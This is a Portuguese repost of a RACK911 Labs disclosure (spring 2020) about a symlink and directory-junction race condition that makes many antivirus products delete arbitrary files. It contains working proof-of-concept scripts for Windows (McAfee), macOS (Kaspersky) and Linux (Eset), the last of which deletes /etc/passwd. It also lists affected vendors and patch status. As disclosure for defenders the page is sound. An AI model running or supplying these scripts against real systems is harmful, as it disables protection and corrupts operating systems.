Exploiting (quase) todos os softwares antivírus

Views: 569
0 0
Read Time:10 Minute, 2 Second

Resumo

O software antivírus deveria protegê-lo de ameaças maliciosas, mas e se essa proteção pudesse ser silenciosamente desativada antes que uma ameaça pudesse ser neutralizada? E se essa proteção pudesse ser manipulada para executar certas operações de arquivo que permitiriam que o sistema operacional fosse comprometido ou simplesmente inutilizável por um invasor?

O RACK911 Labs criou um método único, mas simples, de usar junções de diretório (Windows) e simelos (macOS & Linux) para transformar quase todos os softwares antivírus em ferramentas autodestrutivas.

Método de Exploração

A maioria dos softwares antivírus funciona de forma semelhante: quando um arquivo desconhecido é salvo no disco rígido, o software antivírus geralmente realizará uma “varredura em tempo real” instantaneamente ou dentro de alguns minutos. Se o arquivo desconhecido for determinado como uma ameaça suspeita, o arquivo será automaticamente colocado em quarentena e movido para um local seguro, aguardando instruções adicionais do usuário ou será simplesmente excluído.

Dada a natureza de como o software antivírus tem que operar, quase todos eles funcionam em um estado privilegiado, o que significa o mais alto nível de autoridade dentro do sistema operacional. Nela reside uma falha fundamental, pois as operações de arquivo são (quase) sempre realizadas no mais alto nível, o que abre as portas para uma ampla gama de vulnerabilidades de segurança e várias condições de corrida.

O que a maioria dos softwares antivírus não levam em consideração é a pequena janela de tempo entre a varredura inicial de arquivos que detecta o arquivo malicioso e a operação de limpeza que ocorre imediatamente depois. Um usuário local mal-intencionado ou autor de malware é frequentemente capaz de executar uma condição de corrida através de uma junção de diretório (Windows) ou um symlink (Linux & macOS) que aproveita as operações de arquivo privilegiadas para desativar o software antivírus ou interferir com o sistema operacional para torná-lo inútil, etc.

Junções e Symlinks do Diretório

Uma junção de diretório é exclusiva do Windows e só pode vincular dois diretórios juntos; Ele não pode vincular arquivos e os diretórios devem ser locais para o sistema de arquivos. As junções de diretório podem ser realizadas por qualquer usuário e não exigem privilégios de administrador, tornando-o perfeito para explorar software antivírus sob o sistema operacional Windows.

Um simelo ou “link simbólico” é simplesmente um atalho para outro arquivo; É basicamente um arquivo que aponta para outro arquivo. É mais comumente usado dentro do Linux e macOS onde qualquer usuário desprivilegiado pode realizá-los. Vale a pena notar que o Windows também tem links simbólicos, porém por padrão eles não podem ser realizados por um usuário desprivilegiado e, portanto, não funcionarão na exploração do software antivírus.

Impacto: Não é bom!

Em nossos testes no Windows, macOS & Linux, conseguimos facilmente excluir arquivos importantes relacionados ao software antivírus que o tornaram ineficaz e até mesmo excluir arquivos importantes do sistema operacional que causariam corrupção significativa exigindo uma reinstalação completa do Sistema Operacional. (Ao direcionar o Windows, só pudemos excluir arquivos que não estavam atualmente em uso; No entanto, algum software antivírus ainda removeria o arquivo após uma reinicialização do sistema.)

É importante notar que nos concentramos principalmente no comportamento autodestrutivo com essas façanhas. Em alguns casos, quando modificamos nossas explorações originais para atingir certos diretórios e/ou arquivos, observamos permissões de arquivos e alterações de propriedade que poderiam facilmente levar a vulnerabilidades do tipo de escalonamento de privilégios dentro do sistema operacional.

Extremamente fácil de explorar

Não se engane, explorar essas falhas foram bastante triviais e autores de malware experientes não terão problemas em armar as táticas descritas neste post no blog. A parte mais difícil será descobrir quando realizar a junção do diretório ou symlink como o tempo é tudo; Um segundo muito cedo ou um segundo tarde demais e a exploração não vai funcionar.

Dito isso, um usuário mal-intencionado local que está tentando escalar seus privilégios seria capaz de descobrir o momento correto com pouco esforço. Em alguns dos softwares antivírus que exploramos, o tempo não era nada importante e uma simples declaração de loop de executar a exploração mais e mais era tudo o que era necessário para manipular o software antivírus em autodestruição.

Proof of Concept – Windows

:loop
rd /s /q C:\Users\User\Desktop\exploit
mkdir C:\Users\User\Desktop\exploit
echo X5O!P%%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* > C:\Users\User\Desktop\exploit\EpSecApiLib.dll
rd /s /q C:\Users\User\Desktop\exploit
mklink /J C:\Users\User\Desktop\exploit “C:\Program Files (x86)\McAfee\Endpoint Security\Endpoint Security Platform”
goto loop

* An alternative to echoing the EICAR test-string is to download it to the file system:

curl -k https://www.eicar.org/download/eicar.com.txt >> C:\Users\User\Desktop\exploit\EpSecApiLib.dll

Durante nossos testes, notamos que algum software antivírus impedirá que a cadeia de testes EICAR seja baixada do site oficial, mas se usarmos uma fonte alternativa, como Pastebin.com, seria bem sucedida.

Video (Windows Exploit)

Set video to full screen for best quality!

Explicação – Windows

A prova de conceito acima foi usada contra a McAfee Endpoint Security para Windows para excluir o arquivo EpSecApiLib.dll como exemplo. Em nossos testes, conseguimos excluir qualquer arquivo que não estivesse em uso no momento, incluindo a capacidade de interferir nas próprias operações de antivírus.

Quase todas as nossas explorações de antivírus para Windows são semelhantes na natureza. Em alguns casos, tivemos que implementar valores de tempo para causar um atraso entre baixar a seqüência de testes EICAR e criar as junções de diretório. Como na maioria das condições de corrida, o tempo é tudo, mas é fácil descobrir os valores exatos com o mínimo de esforço.

Prova de Conceito – macOS & Linux

#!/bin/sh
rm -rf /Users/Username/exploit ; mkdir /Users/Username/exploit
curl -k https://pastebin.com/raw/jZJ6Ekzt > /Users/Username/exploit/passwd
sleep 6
rm -rf /Users/Username/exploit ; ln -s /etc /Users/Username/exploit

Video (macOS Exploit)

Set video to full screen for best quality!

Explicação – macOS & Linux

Essa exploração foi usada contra a Kaspersky Internet Security para macOS e baixa a seqüência de testes EICAR de uma fonte alternativa (Pastebin) para contornar a proteção em tempo real que proíbe o download da seqüência de testes do site oficial.

Uma vez que a seqüência de teste tenha sido baixada, o software antivírus detecta imediatamente o arquivo como malware e tenta limpá-lo. Em nossos testes, conseguimos identificar um atraso aproximado de 6-8 segundos que permite que ocorra uma condição de corrida que pode resultar em um ataque de simego fazendo com que qualquer arquivo seja removido devido ao fato de que o software funciona como raiz.

Notas do Linux:

Vale a pena notar que o teste de conceito acima para macOS também funciona para algum software antivírus Linux. Em nossos testes, conseguimos excluir arquivos importantes que teriam tornado o software antivírus ou o sistema operacional inoperáveis, dado que a maioria das operações de arquivos são executadas como o usuário raiz.

Um dos benefícios da exploração do software antivírus para Linux é a ampla gama de ferramentas disponíveis para ajudar com os tempos de condição da corrida. No nosso caso, achamos que o uso de ‘inotifywait’ é extremamente útil. Por exemplo, a seguinte prova de conceito funcionou contra a segurança do servidor de arquivos Eset:

#!/bin/sh
rm -rf /home/user/exploit ; mkdir /home/user/exploit/
wget -q https://www.eicar.org/download/eicar.com.txt -O /home/user/exploit/passwd
while inotifywait -m “/home/user/exploit/passwd” | grep -m 5 “OPEN”
do
rm -rf /home/user/exploit ; ln -s /etc /home/user/exploit
done

O que o Prova de Conceito acima faz é monitorar a seqüência de testes EICAR que foi baixada para um arquivo chamado passwd. Com a ajuda do ‘inotifywait’ o arquivo passwd malicioso é monitorado para operações de arquivos OPEN. Após o 5º OPEN, ocorre o ataque symlink real que faz com que o sistema /etc/passwd seja removido causando um ataque de Negação de Serviço contra o sistema operacional.

Software afetado

Windows

  • Avast Free Anti-Virus
  • Avira
  • Free Anti-Virus BitDefender GravityZone
  • Comodo Endpoint Security
  • F-Secure Computer Protection
  • FireEye Endpoint Security Intercept X (Sophos)
  • Kaspersky Endpoint Security
  • Malwarebytes para Windows
  • McAfee Endpoint Security
  • Panda Dome
  • Webroot Secure Anywhere

Macos

  • AVG
  • BitDefender Segurança total
  • Eset Segurança cibernética
  • Kaspersky Segurança na Internet
  • McAfee Proteção Total
  • Microsoft Defender (BETA)
  • Norton Security
  • Sophos Home
  • Webroot Secure Anywhere

Linux

  • BitDefender GravityZone
  • Comodo Endpoint Security
  • Eset File Server Security
  • F-Secure Linux Security
  • Kaspersy Endpoint Security
  • McAfee Endpoint Security
  • Sophos Anti-Virus for Linux

Nota: As listas acima são os produtos antivírus que testamos diretamente e enviamos relatórios de vulnerabilidade sumidos para os que foram confirmados pelos fornecedores.

Em alguns casos, os fornecedores de antivírus têm vários produtos com nomes diferentes, mas a tecnologia subjacente (vulnerável) ainda é a mesma. Dito isto, as listas acima não são uma representação precisa da extensão dos produtos vulneráveis aos ataques descritos nesta página.

Avisos

Atual, o software de estado de antivírus

O RACK911 Labs começou a notificar os fornecedores no outono de 2018 e até agora reportamos vulnerabilidades de segurança em todas as principais plataformas que afetam todos os fornecedores de antivírus conhecidos. Dado quantos vendedores estavam vulneráveis, acreditamos que existem produtos ainda mais menos conhecidos por aí suscetíveis a esse tipo de ataques.

A maioria dos fornecedores de antivírus consertou seus produtos com algumas exceções infelizes. Estamos envolvidos em testes de penetração há muito tempo e nunca imaginamos que nossos colegas na indústria antivírus seriam tão difíceis de trabalhar devido à constante falta de atualizações e total desconsideração na urgência de corrigir as vulnerabilidades de segurança.

Agora é primavera de 2020 e todos os fornecedores de antivírus que contatamos tiveram pelo menos 6 meses para corrigir as vulnerabilidades de segurança, achamos que é o momento certo para trazer nossa pesquisa ao público. As façanhas descritas neste post não são difíceis de executar e é hora de os fornecedores de antivírus intensificarem seu jogo para proteger seus clientes!

Por exemplo, também descobrimos que os fornecedores de antivírus macOS e Linux estavam constantemente usando diretórios temporários com nomes de arquivos previsíveis, o que poderia ter resultado em escalações de privilégios de raiz. Até hoje, ainda existem muitos fornecedores que escrevem para /private/tmp (macOS) ou /tmp (Linux) de forma tão insegura que explorações adicionais seriam triviais de executar. Não podemos enfatizar isso o suficiente: fique fora do tmp!

Esperamos que os fornecedores de antivírus repensem como as operações de arquivos ocorrem em diretórios acessíveis ao usuário. Seja windows, macOS ou Linux, é extremamente importante que as operações de arquivo aconteçam com o nível mais baixo de autoridade para evitar que ataques ocorram. Deve-se sempre assumir que o usuário é malicioso e, ao realizar operações de arquivos privilegiadas ao alcance do usuário, está abrindo a porta para uma ampla gama de vulnerabilidades de segurança!

Atualização de 24 de abril de 2020:

Quase todos os fornecedores de antivírus mencionados nesta página estão agora corrigidos, com exceção de alguns, que provavelmente terão patches em breve dada a atenção da mídia. O objetivo desta divulgação não era nomear e envergonhar os fornecedores, mas chamar a atenção para a facilidade de aproveitar o software antivírus para se tornar ferramentas destrutivas.

Recebemos perguntas sobre software antivírus menos conhecido não listado nesta página e todos foram considerados vulneráveis. Nosso objetivo é que não apenas os fornecedores de antivírus, mas todos os fornecedores de software verifiquem seu código para potenciais ataques de junção de diretório e estilo symlink; Eles são tão fáceis de executar e, como demonstrado nesta página, pode ser incrivelmente perigoso!

FONTE: RACK911 LABS

POSTS RELACIONADOS